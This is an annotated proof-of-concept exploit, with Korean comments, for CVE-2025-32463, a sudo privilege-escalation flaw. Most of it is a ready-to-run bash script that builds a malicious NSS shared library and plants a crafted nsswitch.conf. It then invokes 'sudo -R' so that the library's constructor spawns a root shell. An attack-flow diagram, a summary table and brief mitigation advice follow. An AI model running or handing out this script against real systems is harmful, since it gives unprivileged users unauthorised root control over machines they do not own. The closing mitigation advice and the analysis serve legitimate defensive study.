🔓 CVE-2025-32463 – Sudo EoP Exploit PoC 주석 버전
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>
// 공유 라이브러리가 로드되자마자 실행될 함수 (constructor)
__attribute__((constructor)) void woot(void) {
setreuid(0,0); // UID를 루트(0)으로 설정
setregid(0,0); // GID도 루트(0)으로 설정
chdir("/"); // 루트 디렉토리로 이동
execl("/bin/bash", "/bin/bash", NULL); // 루트 쉘 실행
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
🎯 핵심 공격 원리: 시각적 흐름
[비특권 사용자] [sudo -R woot] 실행
│
▼
┌──────────────────────────────────────────┐
│ Sudo는 'woot/' 디렉토리를 루트(/)처럼 간주 │
└──────────────────────────────────────────┘
│
▼
[woot/etc/nsswitch.conf] → passwd: /woot1337
│
▼
NSS는 'libnss_woot1337.so.2' 를 찾고 로드 시도
│
▼
[libnss_/woot1337.so.2] ← 공격자가 만든 악성 라이브러리
│
▼
constructor 함수 자동 실행
(setreuid(0,0); execl("/bin/bash"))
│
▼
🧨 **루트 쉘 획득**!
🔬 취약점 요약 (CVE-2025-32463)
| 항목 | 설명 |
|---|
| 취약점 유형 | 권한 상승 (Elevation of Privilege) |
| 취약 위치 | sudo -R <dir> 사용 시 NSS 로딩 처리 |
| 공격 방식 | 공격자가 조작한 NSS 설정 + 악성 공유 라이브러리를 루트 권한으로 로딩 |
| 결과 | 비특권 사용자 → 루트 쉘 획득 |
🔐 방어 및 대응 방법
- ✅ Sudo 최신 버전으로 업데이트 (취약한
-R 처리 로직 패치됨)
- 🚫
sudo -R 사용을 제한하거나 금지
- 🧱 NSS 구성에서 예상치 못한 라이브러리 경로 로딩 금지 (예:
LD_LIBRARY_PATH 강제 비활성화)
- 🔍 보안 감사 시 사용자 정의
nsswitch.conf, 비정상적인 NSS 서비스명 탐지